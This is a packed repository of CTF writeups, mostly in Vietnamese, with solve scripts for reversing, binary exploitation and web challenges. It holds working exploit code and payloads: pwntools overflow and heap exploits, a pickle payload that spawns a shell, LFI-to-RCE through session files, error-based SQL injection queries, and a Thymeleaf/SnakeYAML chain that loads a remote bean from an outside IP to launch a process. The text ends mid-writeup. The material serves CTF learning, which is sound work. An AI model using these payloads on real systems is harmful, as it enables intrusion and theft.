├── README.md
├── pwn-college
└── RE
│ └── level7.0.py
├── GreyhatNUS_2024
└── Motorala_2.py
├── w3-challs
└── temporo.py
├── Midnight-2023
└── MatchMaker.md
├── ictf-2023
└── shallyounotcall.py
├── Kalmarctf2023
├── ez.md
└── invoiced.md
├── corctf-2023
└── web.md
├── KMACTF-UMTN
├── RCE-ME.md
└── TRY-SQLMAP.md
├── AmateursCTF_2023
└── heap-of-funs
│ └── solve.py
├── CakeCTF 2022
├── Openbio.md
└── CakeGear.md
├── CodeGate-2023-Quals
└── AI.md
├── HTB-challenges
├── Diogenes' Rage.md
└── TwoDots Horror.md
├── balsn
└── web.md
├── sekaictf-2023
└── frog-waf.py
├── Circle City Con 8.0
└── StickyNotes.md
├── HTB-apocalypse-2024
├── percetron.md
└── apexsurevive.md
├── labs
└── MBE
│ └── lab5B.md
├── asis-final-2023
└── sayeha.md
├── Angstrong CTF 2023
└── web.md
├── uiuctf-2023
└── web.md
└── HTB-Apocalypse 2023
└── web.md
/README.md:
--------------------------------------------------------------------------------
1 | # CTF-writeups
2 | Some CTF writeups written by meeeeeee
3 |
--------------------------------------------------------------------------------
/pwn-college/RE/level7.0.py:
--------------------------------------------------------------------------------
1 | #!/bin/python
2 | import string
3 |
4 | content = "fa f8 f7 f4 f1 ec e8 e7 e1 e1 3e 34 31 31 30 2e 2d 28 21 1a 15 13 0f 0c 0b 09 08 08 02"
5 | content = content.split(" ")
6 | original = [""]*29
7 | pos = []
8 | # content.reverse()
9 | i = 0
10 | buf_len = len(content)
11 | for each in content:
12 | this_char = ""
13 | while i < 29:
14 | factor = i % 3
15 | if factor == 2:
16 | this_char = chr(int("0x" + each, 16) ^ 0x47)
17 | elif factor < 3:
18 | if factor == 0:
19 | this_char = chr(int("0x" + each, 16) ^ 0x80)
20 | elif factor == 1:
21 | this_char = chr(int("0x" + each, 16) ^ 99)
22 | if this_char in string.printable and i not in pos:
23 | original[i] = this_char
24 | pos.append(i)
25 | break
26 | i += 1
27 | i = 0
28 |
29 |
30 | print("".join(original))
31 |
--------------------------------------------------------------------------------
/GreyhatNUS_2024/Motorala_2.py:
--------------------------------------------------------------------------------
1 | # grey{s1mpl3_buff3r_0v3rfl0w_w4snt_1t?_r3m3mb3r_t0_r34d_th3_st0ryl1ne:)}
2 |
3 | from pwn import *
4 |
5 | io = process("/home/shin24/security/ctf/greyhat/Motorala/wasmtime/target/debug/wasmtime --dir=./ --config=./cache.toml ./chall".split(" "))
6 | p64 = util.packing.p64
7 | payload = p64(0)*7
8 | payload += p64(0x1100000000)
9 | payload += p64(0x18e0000018e0)
10 | payload += p64(0x3200000010)
11 | payload += p64(0x300012350)
12 | payload += p64(0x0)*4
13 | payload += p64(0x1300000000)
14 | payload += p64(0x0)
15 | payload += p64(0x48100000000)
16 | payload += p64(0x1235800012358)
17 | payload += p64(0x0)
18 | payload += p64(0x4000019e8)
19 | payload += p64(0x300000000)
20 | payload += p64(0x100000002)
21 | payload += p64(0x400000123d8)
22 | payload += p64(0x0)
23 | payload += p64(0xffffffff00000004)
24 | payload += p64(0xffffffff)
25 | payload += p64(0x0)*134
26 | payload += p64(0x5200000480)
27 | payload += p64(0x41)
28 |
29 | io.sendline(payload)
30 | io.sendline(b"A")
31 | io.interactive()
32 |
--------------------------------------------------------------------------------
/w3-challs/temporo.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import string
3 | import re
4 | char_set = string.ascii_lowercase
5 | passwd = ["a"]*9
6 |
7 | base_time = 1
8 |
9 | for i in range(0, 9):
10 | for char in char_set:
11 | passwd[i] = char
12 | r = requests.post("http://temporal.hax.w3challs.com/administration.php", data={
13 | "your_password": "".join(passwd)
14 | })
15 | print("[DEBUG] Trying " + "".join(passwd))
16 | # print(r.text)
17 | this_time = re.findall("(.+)\x20(\d{1,})\x20ms", r.text)[0][1]
18 | print(this_time)
19 | if int(this_time) > base_time +1:
20 | print("[+] Found:" + char)
21 | base_time = int(this_time)
22 | print("[+] Base time increased to: " + str(base_time))
23 | break
24 | elif int(this_time) < base_time - 1:
25 | prev_char = chr(ord(char) - 1)
26 | passwd[i] = prev_char
27 | print("[+] Found:" + prev_char)
28 | break
29 |
30 | print("[*] Final passwd:" + "".join(passwd))
31 |
--------------------------------------------------------------------------------
/Midnight-2023/MatchMaker.md:
--------------------------------------------------------------------------------
1 | # Match maker
2 |
3 | Nhìn vào sẽ thấy input ra được đưa vào làm tham số hàm regex của php, cùng với đó là flag, vì flag không được in ra nên để biết được flag ta sẽ dựa vào thời gian thực thi của Regex để bruteforce (ReDos)
4 |
5 | Solve Script:
6 | ```python
7 | import requests
8 | from string import printable
9 | import re
10 |
11 | # base_time = 0.01
12 | FLAG = "midnight{"
13 | url = "http://matchmaker-2.play.hfsc.tf:12345/?x=midnight{%s((((((((.*)*)*)*)*)*)*)*)!}"
14 | guess = ""
15 | for i in range(0, 100):
16 | for char in printable:
17 | if char in ".*?\\|":
18 | char = "\\" + char
19 | r = requests.get(url % (guess + char))
20 | time = re.findall("Exec Time: (.+) ", r.text)[0]
21 | print(time)
22 | if "E" not in time and float(time) >= 0.001:
23 | FLAG += char
24 | guess += char
25 | print("[+ ==>] Guessing: " + guess)
26 | if char == "}":
27 | print(FLAG)
28 | break
29 | print("[*] trying " + char)
30 | ```
31 |
--------------------------------------------------------------------------------
/ictf-2023/shallyounotcall.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | import pickletools
3 |
4 |
5 | data = pickle.PROTO + bytes([5])
6 |
7 | data += pickle.GLOBAL + b"__main__\n__main__\n"
8 | data += pickle.BINPUT + bytes([1]) # save __main__ to memo[1]
9 | data += pickle.POP
10 |
11 | data += pickle.GLOBAL + b"__main__\nSecureUnpickler\n"
12 | data += pickle.BINPUT + bytes([2]) # save SecureUnpickler to memo[2]
13 | data += pickle.POP
14 |
15 | data += pickle.GLOBAL + b"__main__\n__main__\n"
16 |
17 | data += pickle.MARK
18 | data += pickle.STRING + b"'__main__'\n"
19 | data += pickle.GLOBAL + b"__main__\n__builtins__\n"
20 | data += pickle.DICT
21 | data += pickle.BUILD
22 |
23 | data += pickle.GLOBAL + b"__main__\nget\n"
24 | data += pickle.BINPUT + bytes([3]) # save get to memo[3]
25 | data += pickle.POP
26 |
27 | # SecureUnpickler.find_class = __builtins__.get
28 | data += pickle.BINGET + bytes([2])
29 | data += pickle.NONE
30 | data += pickle.MARK
31 | data += pickle.STRING + b"'find_class'\n"
32 | data += pickle.BINGET + bytes([3])
33 | data += pickle.DICT
34 | data += pickle.TUPLE2
35 | data += pickle.BUILD
36 |
37 | # __main__.__setstate__ = __builtins__.eval
38 | data += pickle.BINGET + bytes([1])
39 | data += pickle.NONE
40 | data += pickle.MARK
41 | data += pickle.STRING + b"'__setstate__'\n"
42 | data += pickle.GLOBAL + b"eval\naaa\n"
43 | data += pickle.DICT
44 | data += pickle.TUPLE2
45 | data += pickle.BUILD
46 | data += pickle.POP
47 | data += pickle.POP
48 |
49 | # trigger eval("'__import__(\"os\").system(\"sh\")'\n")
50 | data += pickle.BINGET + bytes([1])
51 | data += pickle.STRING + b"'__import__(\"os\").system(\"sh\")'\n"
52 | data += pickle.BUILD
53 | data += pickle.POP
54 |
55 | data += pickle.STOP
56 |
57 | from codecs import getencoder
58 | pickletools.dis(data)
59 | print(getencoder("hex")(data)[0].decode())
60 |
--------------------------------------------------------------------------------
/Kalmarctf2023/ez.md:
--------------------------------------------------------------------------------
1 | ## Ez
2 | - Trong source code thì ta chỉ cần quan tâm Caddyfile, Dockerfile và index.php
3 | - Đọc file index.php trước thì thấy nó đang cố gắng đọc file flag.txt ra
4 | ```php
5 |
11 | ```
12 | - Khi truy cập vào http://php.caddy.chal-kalmarc.tf/index.php thì thấy nó không thực thi, http://php.caddy.chal-kalmarc.tf/flag.txt thì bị 403
13 | - Chuyển qua đọc Caddy file thì để ý trong mục config của `*.caddy.chal-kalmarc.tf` đã chặn việc truy cập vào `/flag.txt` bằng cách trả về 403 mỗi khi truy cập.
14 | ```
15 | respond /flag.txt 403
16 | ```
17 | - File `index.php` không thực thi là vì đoạn chuyển handling cho php cgi đã bị comment, caddy là một go server nên nó sẽ không support php by default
18 | ```
19 | #php.caddy.chal-kalmarc.tf {
20 | # php_fastcgi localhost:9000
21 | #}
22 | ```
23 | - Nếu block `/flag.txt` thì liệu `/./flag.txt` sẽ thế nào nhỉ? (một số HTTP parser sẽ hiểu `.` là đại diện cho thư mục hiện tại, nên sau khi xử lý thì `/./flag.txt` sẽ thành `/flag.txt`):
24 | 
25 | - 404, nhưng nếu thử với `/./index.php` thì vẫn trả về, vậy nghĩa là flag.txt đã bị xóa, lúc này đến lúc đọc Dockerfile. Sau khi đọc kỹ sẽ đến đoạn này:
26 | ```dockerfile!
27 | mkdir -p backups/ && cp -r *.caddy.chal-kalmarc.tf backups/ && rm php.caddy.chal-kalmarc.tf/flag.txt
28 | ```
29 | - Khi deploy thì tạo thư mục `backups`, chuyển toàn bộ file từ các thư mục `*.caddy.chal-kalmarc.tf` vào `backups` và xóa file flag.txt
30 | - Vậy là `flag.txt` giờ nằm trong thư mục `/backups/php.caddy.chal-kalmarc.tf/`. Làm sao ta truy cập được nó?
31 | - Ban đầu còn một đoạn trong Caddyfile nữa:
32 | ```
33 | file_server {
34 | root /srv/{host}/
35 | }
36 | ```
37 | - Ở đây theo documentation thì {host} là thông tin lấy từ header `Host` trong http request. `{host}` được nối vào `/srv/` để làm root document. Có vẻ như các root document folders và cả backups đều nằm trong srv, vậy ta có thể đổi giá trị của `Host` thành `backups/php.caddy.chal-kalmarc.tf`, nó sẽ đúng với rule `*.caddy.chal-kalmarc.tf` trong Caddyfile, giúp ta tới được folder `backups/php.caddy.chal-kalmarc.tf`, kết hợp với `/./flag.txt` ta được flag: `kalmar{th1s-w4s-2x0d4ys-wh3n-C4ddy==2.4}`
38 | 
39 |
--------------------------------------------------------------------------------
/Kalmarctf2023/invoiced.md:
--------------------------------------------------------------------------------
1 | ## Invoiced
2 | - Vì nó là CTF nên tốt nhất lao đầu vào đọc code thôi :v
3 | - Code bằng nodejs, dùng Express
4 | - File `pdf.js` giả lập một browser bằng `puppeteer`, set một cookie tên `bot`, truy cập vào link `http://localhost:5000/renderInvoice?` nối chuỗi với một biến body
5 | - File `payment.js` thì chứa hàm `validateDiscount` để trả về giá trị discount
6 | - File `app.js` gồm các routes là chủ yếu, route `/renderInvoice` (cái route lúc nãy file pdf.js dùng) thì đọc file template, replace các placeholders (`{{*}}`) thành value lấy từ các GET queries (untrusted data) => khả năng là xss. Cùng với đó thì cũng có set CSP (kết hợp dữ kiện là cái con bot pdf cũng dùng route này nên khả năng là phải tìm cách bypass CSP)
7 | - Route `/orders` thì là nơi nhả flag nhưng với điều kiện là phải truy cập từ local và không được có cookie tên `bot` (tới đây mình đoán bắt buộc phải thông qua con bot kia để lấy flag)
8 | - Route `/checkout` sẽ là nơi trả về file pdf
9 | - Ok vậy 2 vấn đề:
10 | + Phải làm con bot truy cập vào `/orders`, theo như code thì nó sẽ luôn luôn truy cập vào `http://localhost:5000/renderInvoice`
11 | + Nếu như truy cập rồi thì làm sao để loại bỏ cái cookie `bot`
12 | - Đọc CSP:
13 | ```!
14 | res.setHeader("Content-Security-Policy", "default-src 'unsafe-inline' maxcdn.bootstrapcdn.com; object-src 'none'; script-src 'none'; img-src 'self' dummyimage.com;")
15 | ```
16 | - Sau một hồi thử XSS nhằm redirect thì hơi no hope, nhưng rồi mình nghỉ liệu để redirect thì có nhất thiết phải dùng JS không. Thế là mình nhớ đến thẻ meta:
17 | ```htmlembedded
18 |
19 | ```
20 | - Một vấn đề, vấn đề thứ 2 là cookie, xem kỹ lại lúc set cookie thì cookie được set cho domain `localhost:5000`, vậy nếu ta redirect đến một origin khác thì cookie `bot` sẽ không được kèm theo. Có khá nhiều cách để trỏ về localhost, nhưng browser sẽ hiểu bọn chúng là các origin khác nhau, ví dụ localhost sẽ khác 127.0.0.1 đối với browser
21 | - Vậy payload cuối cùng sẽ là:
22 | ```
23 |
24 | ```
25 | - Nhớ set `discount=FREEZTUFSSZ1412` để pass điều kiện trong route `/checkout` nữa
26 | 
27 | - Kết quả bị compressed rồi, chuột phải vào và chọn show response in browser
28 | 
29 |
--------------------------------------------------------------------------------
/corctf-2023/web.md:
--------------------------------------------------------------------------------
1 | # CORCTF 2023 writeup
2 |
3 | ## force
4 | Source của bài khá ngắn, ta cần sử dụng graphql để get flag, điều kiện là biết được số nguyên `secret` được random từ 0->100k
5 |
6 | Ta sẽ thực hiện bruteforce secret bằng cách sử dụng alias của graphql, invoke nhiều query get flag cùng lúc với các mã pin khác nhau từ 0->100k, ta có thể chia ra từng đợt để request bớt dài.
7 |
8 | 
9 |
10 | `corctf{S T O N K S}`
11 | ## msfrognymize
12 | Source code nhìn khá căng, thực chất bug nằm ở route `/anonymized/`, ta có thể request với `image_file` là `%252fflag.txt`, input sẽ được decode url sau đó join `uploads/` và `/flag.txt` lại thì output cuối cùng sẽ là `/flag`
13 |
14 | `https://msfrognymize.be.ax/anonymized/%252fflag.txt`
15 |
16 | `corctf{Fr0m_Priv4cy_t0_LFI}`
17 |
18 | ## frogshare
19 | Flag nằm ở localStorage của bot, chức năng trang web là cho phép ta load một cái SVG về và nội dung của SVG sẽ được insert vào DOM tree, tuy nhiên nếu tồn tại thẻ script trong SVG thì sẽ bị strip đi.
20 |
21 | 
22 |
23 | trace lên bên trên ta sẽ thấy biến n thật ra là alias của của một biến tên là `enableJs`, cái tên đã cho ta biết vai trò của nó, vì minified js khá khó đọc, để tìm ra đoạn code này nằm ở đâu mình thử search tên biến `enableJs svg` lên github (thực chất bạn có thể xem ở package.json nhưng đây là cách tiếp cận ban đầu của mình)
24 |
25 | 
26 |
27 | Có vẻ như là thứ ta cần, vào source code đọc thử thì thấy `enableJs` được lấy từ props của component
28 |
29 | 
30 |
31 | xem lại source code ta thấy được ta có thể kiểm soát được props truyền vào component
32 |
33 | 
34 |
35 | Vậy chỉ cần thêm `"data-js":"enable"` lúc tạo frog là được
36 |
37 | 
38 |
39 | 
40 |
--------------------------------------------------------------------------------
/KMACTF-UMTN/RCE-ME.md:
--------------------------------------------------------------------------------
1 | Challenge: http://rce-me.ctf.actvn.edu.vn/
2 |
3 | 
4 |
5 | From the begining, the challenge show us that this website is vulnerable to LFI, but the challenge requires us to find and exploit a RCE, and the `etc/passwd` clearly doesn't play any role here. There are a couple of methods to lead to RCE from LFI, i'm not going to cover all of them in this writeup.
6 |
7 | First i tried to use `dirsearch` to check for any interesting file or path, but no hope tho. After that, i read the hint that said `I am using php-fpm alpine docker`, so i tried to find an image, deployed it to docker and inspected the file structure in order to find the "key" but still. After countless attempts, i tried to use some other technique like **php wrapper** and found out that i can read the source of the index page - which gave me the hint to figure out the way to solve this challenge.
8 |
9 | 
10 |
11 | `http://rce-me.ctf.actvn.edu.vn/?l=php://filter/convert.base64-encode/resource=index.php`
12 |
13 | Decoding the base64 message we got the php source code of the `index.php` file
14 |
15 | 
16 |
17 | Noticing this part:
18 |
19 |
20 | >$_SESSION['name'] = @$_GET["name"];
21 | >
22 | >$l = @$_GET['l'];
23 | >
24 | >?if ($l) include $l;
25 |
26 |
27 | First it will assign the data taken from the `name` parameter to the `name` attribute in **SESSION**, and then the LFI part. The first line of the below code is very valuable as it reveal the way to turn a LFI into a RCE. By providing a PHP code to the `name` parameter and include the SESSION file locating somewhere on the server, we can execute arbitrary PHP code and get the flag.
28 |
29 | 
30 |
31 | `http://rce-me.ctf.actvn.edu.vn/?l=/tmp/sess_qv2vse3ful8lk9na2irrovsf38&name=`
32 |
33 | You can find the `/tmp/sess_qv2vse3ful8lk9na2irrovsf38` by combining the `sess_` and the `SESSION_ID` that the server sent you earlier, tmp is usually the location which store all the SESSION.
34 |
35 | Now the last thing is quite simple, read the flag file.
36 |
37 | 
38 |
39 | `FLAG: KMACTF{Do_anh_session_duoc_em_hihi}`
40 |
--------------------------------------------------------------------------------
/AmateursCTF_2023/heap-of-funs/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | io = process("./chal")
4 | # io = remote("chal.amt.rs", 1346)
5 | libc = ELF("./lib/libc.so.6")
6 | p64 = util.packing.p64
7 |
8 | def create_bullshit(index, size=100, data=None):
9 | io.sendlineafter(b">>>", b"1")
10 | io.sendlineafter(b">>>", str(index).encode())
11 | io.sendlineafter(b">>>", b"200")
12 | io.sendlineafter(b">>>", b"a"*199)
13 | if data:
14 | io.sendlineafter(b">>>", str(size).encode())
15 | io.sendlineafter(b">>>", data)
16 | else:
17 | io.sendlineafter(b">>>", str(size).encode())
18 | io.sendlineafter(b">>>", b"b"*(size-1))
19 |
20 | def free_bullshit(index):
21 | io.sendlineafter(b">>>", b"4")
22 | io.sendlineafter(b">>>", str(index).encode())
23 |
24 | def read_bullshit(index):
25 | io.sendlineafter(b">>>", b"3")
26 | io.sendlineafter(b">>>", str(index).encode())
27 |
28 | def reverse_endian(data: str):
29 | data = [data[i:i+2] for i in range(0, len(data), 2)]
30 | data.reverse()
31 | return "".join(data)
32 |
33 | def update_bullshit(index, data):
34 | io.sendlineafter(b">>>", b"2")
35 | io.sendlineafter(b">>>", str(index).encode())
36 | io.sendlineafter(b">>>", data)
37 |
38 |
39 | gdb.binary = lambda: "/usr/bin/gdb-pwndbg"
40 | if args.GDB:
41 | gdb.attach(io)
42 | pause()
43 |
44 |
45 | create_bullshit(0, 3000)
46 | create_bullshit(1, 200)
47 | create_bullshit(2, 3000)
48 | create_bullshit(3, 3000)
49 | free_bullshit(0)
50 | free_bullshit(2)
51 | free_bullshit(3)
52 | read_bullshit(0)
53 |
54 |
55 |
56 | io.recvuntil(b"val = ")
57 | leak = io.recvline().decode()
58 | leak = eval(f'"""{leak}"""')[:6]
59 |
60 | main_arena = util.packing.unpack(leak, 8*6)-96
61 | libc.address = main_arena - 0x21ac80
62 | libcgot = libc.address + 0x21a000
63 | print("main_arena = " + hex(main_arena))
64 | print("libc base = " + hex(libc.address))
65 | print("libc got = " + hex(libcgot))
66 |
67 | read_bullshit(2)
68 |
69 | io.recvuntil(b"val = ")
70 | leak = io.recvline().decode()
71 | leak = eval(f'"""{leak}"""')[:6]
72 | leak_heap = util.packing.unpack(leak, 8*6)
73 |
74 | print("leak heap: " + hex(leak_heap))
75 |
76 | create_bullshit(0, 200)
77 | free_bullshit(0)
78 |
79 | pos = leak_heap + 0x1a50
80 | value = libcgot +0x28-8
81 |
82 | to_write = value ^ (pos >> 12)
83 | print("to write: " + hex(to_write))
84 | onegadget = libc.address + 0xebc85
85 |
86 | print("onegadget: " + hex(onegadget))
87 |
88 | update_bullshit(0, p64(to_write))
89 |
90 | pause()
91 | create_bullshit(0, 200, b"A"*8 +p64(libc.address + 0x17082D) + b"B"*0x40 + p64(onegadget) + p64(libc.address + 0x82358) + b'X'*0x18 + p64(libc.address + 0x12B320))
92 |
93 | io.interactive()
94 |
--------------------------------------------------------------------------------
/CakeCTF 2022/Openbio.md:
--------------------------------------------------------------------------------
1 | # CakeCTF 2022: Openbio
2 |
3 | **link**: http://web1.2022.cakectf.com:8003
4 |
5 | Bài này nó cho source code nhưng mà thật ra mình không cần quan tâm lắm, bài này dạo qua tí thì mình sẽ biết nó là XSS thông qua trang profile. Vấn đề ở bài này là làm sao bypass được 2 thứ, CSP và HttpOnly cookie.
6 |
7 | Trong source code cung cấp có file `crawler.js`, file này sẽ đóng vai trò làm bot đóng giả victim và truy cập vào link profile được report. Nó cũng sẽ reg một account random và set flag vào bio của account đó.
8 |
9 | Lúc này trong đầu mình nghĩ rằng, thật ra không cần phải lấy cookie mà chỉ cần làm sao để lấy cái Flag nằm trong bio của con bot đó.
10 |
11 | Giờ đầu tiên, ta nhìn vào phần CSP của nó:
12 |
13 | ```
14 | default-src 'none';script-src 'nonce-avB8AzG9+I6GrLS1n/mO5g==' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';style-src https://cdn.jsdelivr.net/;frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;base-uri 'none';connect-src 'self';
15 |
16 | ```
17 |
18 | Nó chặn việc thực thi inline script, src của style, script đều bị whitelist, ... bla bla. Và nó cho phép hàm `eval` (`unsafe-eval`)
19 |
20 | Trong số các script src được whitelist, có url `https://cdn.jsdelivr.net/`, như anh em biết thì nó là cdn dùng để chứa các client-side script (js, css) và nó chứa các framework như angular, ....
21 |
22 | Ta biết rằng angular có khá nhiều bug XSS trong các version cũ và cdn này cũng vẫn còn chứa các version đó (thật ra ngay ở version mới nhất cũng có thể lợi dụng được). Vậy, ta có thể include angular từ cdn trên và thực thi JS (trong angular việc thực thi JS bằng eval không nhất thiết cùng thẻ script)
23 |
24 | ```
25 |
{{$eval.constructor('alert(1)
26 | ')()}}
27 | ```
28 |
29 | Oke rồi, ta đã XSS được. Giờ phải làm sao để lấy được flag, ý tưởng là gửi một request đến link profile bằng cookie của user hiện tại (con bot) rồi sau đó lấy text của response trả về, cho nó redirect đến webhook.
30 |
31 | Full payload:
32 |
33 | ```
34 | aaa
36 |
37 | ```
38 |
39 | Trước khi gửi thì ta encode URI và encode sang base64 để có thể truyền qua get param của webhook
40 |
41 | 
42 |
43 | 
44 |
45 | Flag: `CakeCTF{httponly=true_d03s_n0t_pr0t3ct_U_1n_m4ny_c4s3s!}`
46 |
--------------------------------------------------------------------------------
/CodeGate-2023-Quals/AI.md:
--------------------------------------------------------------------------------
1 | Đây là một bài brief do mình ngồi tham khảo solution và làm lại của bài web cuối cùng trong đợt CodeGate 2023 Quals hồi đầu năm
2 |
3 | Request:
4 | ```http
5 | GET /<@urlencode>__|*bla**{"a"+@servletContext.setAttribute("t","".class.forName("org.thymeleaf.TemplateEngine").newInstance())+@servletContext.getAttribute("t").setDialects("".class.forName("org.thymeleaf.spring6.dialect.SpringStandardDialect").newInstance())+@servletContext.getAttribute("t").process(("[["+"*"+"{T"+"(org.yaml.snakeyaml.Yaml).newInstance().load("+"".copyValueOf("a".toCharArray()[0].toChars(39))+thymeleafRequestContext.httpServletRequest.getParameterMap().values()[0][0]+"".copyValueOf("a".toCharArray()[0].toChars(39))+")}"+"]]"),"".class.forName("org.thymeleaf.context.Context").newInstance())+""}|__<@/urlencode>?a=<@urlencode>aaa: !!org.springframework.context.support.FileSystemXmlApplicationContext [ "http://172.23.42.39:8082/exploit.bean" ]<@/urlencode>%0a HTTP/1.1
6 | Host: localhost:8080
7 | Cache-Control: max-age=0
8 | sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
9 | sec-ch-ua-mobile: ?0
10 | sec-ch-ua-platform: "Windows"
11 | Upgrade-Insecure-Requests: 1
12 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
13 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
14 | Sec-Fetch-Site: none
15 | Sec-Fetch-Mode: navigate
16 | Sec-Fetch-User: ?1
17 | Sec-Fetch-Dest: document
18 | Accept-Encoding: gzip, deflate
19 | Accept-Language: en-US,en;q=0.9
20 | Cookie: SESSION=MTA5MjljNmEtOGRhMy00YTlhLWI0MmItOTc2ZTc5ZDM5NDZl
21 | Connection: close
22 |
23 |
24 | ```
25 |
26 | exploit.bean:
27 | ```xml
28 |
34 |
35 |
36 |
37 | calc.exe
38 |
39 |
40 |
41 |
42 |
43 | ```
44 |
45 | Brief: dùng syntax **Literal Substitution** của Thymeleaf để bypass phần check trong phần preprocess của thymeleaf, từ đó gọi lại `org.thymeleaf.TemplateEngine` 1 lần nữa để parse EL nhằm bypass đoạn check `T(`. Sử dụng class `org.yaml.snakeyaml.Yaml` vì nó không nằm trong blacklist của thymeleaf, lợi dụng cú pháp `Secondary Tag Handle` mà snakeyaml implement để load 1 class tùy ý, load đến class `org.springframework.context.support.FileSystemXmlApplicationContext` để parse một remote xml file nhằm instantiate class `ProcessBuilder` và lợi dụng đặc tính parse SpEL ở state `Populate` của beans để gọi đến method `start` của bean vừa khởi tạo (ở đây là `ProcessBuilder`)
46 |
--------------------------------------------------------------------------------
/KMACTF-UMTN/TRY-SQLMAP.md:
--------------------------------------------------------------------------------
1 | Challenge: http://try-sqlmap.ctf.actvn.edu.vn/
2 |
3 | 
4 |
5 |
6 | As the title of the challenge, it tells us to try `SQL Map`. However in this case, this powerful tool is not gonna help us get the flag, but it gave us a hint.
7 |
8 | 
9 |
10 | This website can be exploited with `Error Based SQLi`, using some functions like `extractvalue` and `updatexml`. If you add extra character such as a single quote to the parameter, you will get the error, that mean the server respond the error message whenever there is an error.
11 |
12 | 
13 |
14 | Easy peasy lemon squeezy, let's give it a try, by using the the `extractvalue` function i can get the database name
15 |
16 | 
17 |
18 | Now let's move on, get the table name and then the column.
19 |
20 | 
21 |
22 | Wait, it show us the index page's content, something is not right here, we should have got the table by now. Well, After numerous attempts, i finally found out that the input length is limited to 100 characters and by reading the hint, i can guess that the output length is also limited to 32 characters
23 |
24 | 
25 |
26 | Good, now we have to find a way to reduce the length of the query and as the length of flag table name is longer than 32 characters, we will have to use `mid` function to bypass the output check. This is my query:
27 |
28 | `http://try-sqlmap.ctf.actvn.edu.vn/?order=extractvalue(0,concat(0,(SELECT+mid(table_name,1,31)+FROM+information_schema.tables+limit+1)))`
29 |
30 | 
31 |
32 | As you can see, we have successfully extracted the first 32 characters of the table name, as we increase the index we'll be able to know the whole string. I used `limit 1` as the table name record is coincidentally the first record in `information_schema.tables`. Keep increasing the index value of the `mid` function, we get the whole name: `flahga123456789xxsxx012xxxxxxxxx34567xx1`
33 |
34 | Using the same technique, we also get the column name as it's also the first record in `information_schema.columns`, query:
35 | `http://try-sqlmap.ctf.actvn.edu.vn/?order=extractvalue(0,concat(0,(SELECT+mid(column_name,1,31)+FROM+information_schema.columns+limit+1)))`
36 |
37 | 
38 |
39 | Finally, extract the flag:
40 |
41 | 
42 |
43 | `http://try-sqlmap.ctf.actvn.edu.vn/?order=extractvalue(0,concat(0,(SELECT+mid(flag,1,31)+FROM+flahga123456789xxsxx012xxxxxxxxx34567xx1)))`
44 |
45 | final flag: `KMACTF{X_Ooooooooooooorder_By_Nooooooooooooooooooone_SQLMaaaaaaaaaaaaaaaap?!!!!!!!!!!!!}`
46 |
47 | Special Thanks to **Taidh**, who helped me a lot in figuring out this challenge
48 |
49 |
--------------------------------------------------------------------------------
/HTB-challenges/Diogenes' Rage.md:
--------------------------------------------------------------------------------
1 | ## [HTB-Web Challenge] Diogenes' Rage
2 | Một cái máy bán hàng tự động cho ta sẵn một cái coupon 1\$, khi kéo cái coupon kia vô máy nó sẽ call đến API `/api/coupons/apply` và cộng tiền 1\$
3 |
4 | Khi mua hàng thì nó cũng sẽ call đến API `/api/purchase` và trừ tiền dựa trên mệnh giá
5 |
6 | ### Analyzing endpoints
7 | Cùng vào phân tích 2 endpoints chính. Tại cả 2 endpoint thì nó sẽ gọi `db.getUser(req.data.username)` để lấy info user từ db thông qua tên trong jwt, nếu không thấy nó sẽ khởi tạo user mới với balance = 0, sau đó là tới logic xử lý chính
8 |
9 | Tại endpoint `/api/coupons/apply` thì `coupon_code` sẽ được check xem nó đã có trong `user.coupons` (lấy từ db) hay chưa bằng hàm `includes`, vì sao lại là `includes` thì là do các coupons được add vào theo kiểu nối chuỗi, câu query:
10 | ```sql
11 | UPDATE userData SET coupons = coupons || ? WHERE username = ?
12 |
13 | Dấu || là nối chuỗi nha ae
14 | ```
15 | Nếu check không thấy `coupon_code` thì nó sẽ chạy câu query trên để add coupon vô rồi cộng balance 1.00
16 |
17 | Tại endpoint `/api/purchase` thì nó check xem đủ tiền để mua không thôi, nếu item mua là `C8` thì nó sẽ nhả flag ra, nhưng mà flag này mắc quá tận 13.37, so với cái coupon 1\$ thì chắc chắn là không đủ tiền.
18 | ### Intended solution: race condition
19 | Cách làm intended của bài này là race codition, nhìn vào đoạn code cộng tiền của app
20 | ```javascript
21 | async addBalance(user, coupon_value) {
22 | return new Promise(async (resolve, reject) => {
23 | try {
24 | let stmt = await this.db.prepare('UPDATE userData SET balance = balance + ? WHERE username = ?');
25 | resolve((await stmt.run(coupon_value, user)));
26 | } catch(e) {
27 | reject(e);
28 | }
29 | });
30 | }
31 | ```
32 | Như ta thấy, query được chạy mà không có transaction lock nào và cũng không có cơ chế lock nào khác nên đây khả năng là một lỗi race condition tiềm năng. Đọc thêm về transaction lock: https://sqlfordevs.com/transaction-locking-prevent-race-condition
33 |
34 | Đây cũng là cách tiếp cận của hầu hết các bài writeup mà mình tìm được trên mạng, vì nó có sẵn rồi nên mình sẽ không viết lại, thay vào đó tại đây mình sẽ trình bày một cách unintended mình tìm được trong lúc làm bài
35 |
36 | ### Unintended: type confusion
37 | Qua vài lần nhả input vào để test mình đã nhận ra là nếu mua một món hàng và gửi data là `item:"C8"` thì ta cũng có thể gửi `item:["C8"]` (array) và nó sẽ vẫn nhận
38 | 
39 |
40 | Tại sao lại như thế? Theo như mình test thì đây là một behavior khá lạ của `sqlite-async` (một module mà app dùng)
41 |
42 | `sqlite-async` thực chất là một wrapper của module `sqlite3`, theo mình thử thì khi chạy các câu truy vấn `SELECT` thì bằng một cách nào đó, array truyền vào sẽ được ép kiểu sang string, tuy nhiên việc này lại không xảy ra ở những query `UPDATE`, dẫn đến việc array truyền vào không thể xử lý được do không hợp lệ, tuy nhiên cũng không có exception nào được throw ra cả, nên chương trình vẫn sẽ hoạt động bình thường.
43 |
44 | Áp dụng cái behavior này qua endpoint add coupon, ta sẽ gửi đi body:
45 | ```json
46 | {
